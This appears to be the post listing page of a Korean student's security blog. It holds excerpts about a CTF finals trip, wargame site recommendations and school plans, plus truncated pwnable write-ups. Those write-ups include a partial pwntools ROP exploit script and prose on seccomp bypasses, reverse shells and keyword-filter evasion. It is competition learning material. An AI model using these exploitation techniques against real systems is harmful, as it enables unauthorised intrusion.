목록전체 글 (111)
Sechack
이번엔 예선 3등으로 대회 본선 갔는데 본선이 대구 엑스코에서 진행되서 학교에 체험학습 내고 전날에 학교 끝나자마자 KTX타고 대구가서 근처 호텔에서 같은팀 형들이랑 자고 바로 대회하러 갔다. 엑스코 건물이 생각보다 되게 크고 삐까뻔적해서 생각보다 큰 행사라는것을 실감했다. 가운데 말고 오른쪽이 엑스코 건물이다 외관만 봐도 굉장히 크고 아름다운 건물이다. 또 다른층에서는 사이버보안 컨퍼런스가 진행되었다. 대회하느라 컨퍼런스는 포스터만 보고 안가봐서 어땠을지는 모르겠다. 컨퍼런스도 재밌었을것같다. 사진에서 보이다시피 건물 내부도 굉장히 크다. 현장체험학습 간 기분이었다. 본선 장소에 입장하자마자 기념품 하나를 받았는데 열어보니까 국정원 시계였다. NIS글자가 매우 마음에 든다. 사진은 빛 반사때문에 금색처..
이번에는 워게임을 들고왔다. 옛날 워겜부터 최신에 나온 워겜까지 아는걸 전부 적어보려고 한다. https://ctf.sechack.kr (내가만든 워게임 사이트다. 문제 꾸준히 추가될거고 난이도도 다양하니까 많이 풀어줬으면 좋겠다.) https://dreamhack.io (드림핵은 워게임 사이트라기보단 종합적인 해킹 공부 플랫폼이라 보는게 맞다. 재밌는 문제도 많이있고 양질의 강좌도 많이 있다.) https://h4ckingga.me (사실 이거 홍보하려고 글썼다. 내가 몸담고있는 팀인 TeamH4C에서 이번에 새로 런칭한 워게임인데 Project Manager로써 매우 뿌듯하다. 문제도 꾸준히 추가할 예정이니 많은 이용 바란다.) https://pwnable.tw (재미있는 포너블 문제가 많다. 되게..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
기타 카테고리에 넣어야할지 My Story카테고리에 넣어야할지 잘 모르겠는데 내 진로와 관련된 내용이라 My Story에 넣었다. 나는 지금 현재 선린인터넷 고등학교를 목표로 하고 있다. 디지털미디어고등학교에 기숙사가 있어서 더 편할거라는 생각에 처음에는 디미고를 가려고 했으나 특별전형도 내신을 너무많이 봐서 가능성이 0%라는 판단이 들어서 다행히도 이번년도에 미래인재 전형에서 내신을 안보는 디미고와 양대산맥을 이루는 보안계에서 유명한 선린고를 준비하고 있다. 2시간 등교가 힘들것같긴 하지만 5시 반쯤에 일어나서 새벽운동 하는셈 치고 등교하면 된다. 적응하면 된다. 내 체력은 그렇게 약하지 않다. 보통 특성화고를 간다고 하면 주변의 시선이 좋지 않다. 보안을 공부하는 사람이면 몰라도 컴퓨터에 별다른 관심..
이번엔 민욱이형이랑 같이 TeamH4C CTF팀이 아닌 다른 CTF팀으로 참여했다. 평일에 하는거여서 시간이 약간 부족한감이 있었는데 포너블 올클도 하고 나름대로 만족스러웠다. 최종 결과는 19등이다. 버스탔다. ㅋㅋ Syno계정은 지용님이랑 민욱이형이 같이쓴 계정이다. 아무튼 쌉캐리.. 그럼 write up시작!! Name_Server 걍 bof터진다. rop하면된다. from pwn import * r = remote("3.97.113.25", 9001) e = ELF("./name-serv") pop_rdi = 0x4006d3 puts_plt = e.plt["puts"] puts_got = e.got["puts"] payload = b"a"*0x28 payload += p64(pop_rdi) pay..
갠적으로 재미있었다. 그냥 bof이다. 바이너리는 static이다. 그리고 seccomp가 걸려있다. openat을 필터링하지 않으므로 openat system call을 이용해서 orw해서 플래그 읽어주면 된다. It's time to revenge ! flag is in /home/fbi/flag.txt Note : There is no stdout/stderr in the server , can you manage it this year? nc 40.71.72.198 1236 Author : haflout 문제 설명이다. 서버에는 stdout, stderr가 없다고 한다. 실제로 write를 부르는 쉘코드를 작성해보고 데이터를 출력해보면 로컬에서는 잘 출력되지만 서버로 보내보면 아무것도 출력되지 않..
후... 거의 이틀 걸린것같다. 되게 빡세고 힘들고 재밌고 신기한 문제였다. 일단 close로 stdin, stdout, stderr다 닫아버려서 execve("/bin/sh", 0, 0)을 해도 무용지물이다. 리버스 쉘 따야한다. 다행히 바이너리는 static이어서 가젯은 많았고 가젯 잘 조합해서 _stack_prot덮고 _dl_make_stack_executable 호출해서 스택에 rwx박은다음 리버스쉘 때려박으면 되는 문제이다. 가장 힘들었던건 100byte limit이었는데 쉘코드를 줄이고 rop chain쪽에서 chain길이 안늘어나게끔 절묘하게 레지스터 세팅도 해줘서 쉘코드 몇바이트씩 줄어들게 하고 별짓 다해도 rop chain이랑 합하면 107byte이하로 못줄이겠어서 그냥 서버에 소켓으로 ..
이문제는 소스코드를 제공해준다. 아마 바이너리만 제공했다면 못풀었을것 같다. #include #include #include #include #include //gcc Cshell.c -static -lcrypt -o Cshell struct users { char name[8]; char passwd[35]; }; struct tracker{ struct tracker *next; struct users *ptr; char name[8]; long int id; }; char * alex_buff; char * Charlie_buff; char * Johnny_buff; char * Eric_buff; struct users *user; struct users *root; struct tracker *..
사이트 드가보면 알고리즘 문제 풀라고 한다. 그래서 알고리즘 문제인줄 알았는데 소스코드에 주석으로 달린걸 보면 알고리즘 문제가 아니다. 플래그가 /flag.txt파일에 있다고 한다. 우리가 코드를 입력하면 그게 컴파일되고 서버에서 실행되니까 C언어를 이용해서 플래그를 가져오는 문제임을 짐작할 수 있다. 하지만 system, execve, open, read등 os command 실행이나 orw를 진행하기 위한 함수들은 키워드 필터링이 되어있었다. 하지만 이것은 seccomp같이 system call자체를 필터링하는게 아니라 단순 키워드 필터링이므로 키워드만 안넣으면 된다. C언어의 syscall함수는 필터링되지 않으므로 그걸 사용하면 원하는 system call을 호출할 수 있게 된다. 그래서 다풀었다 ..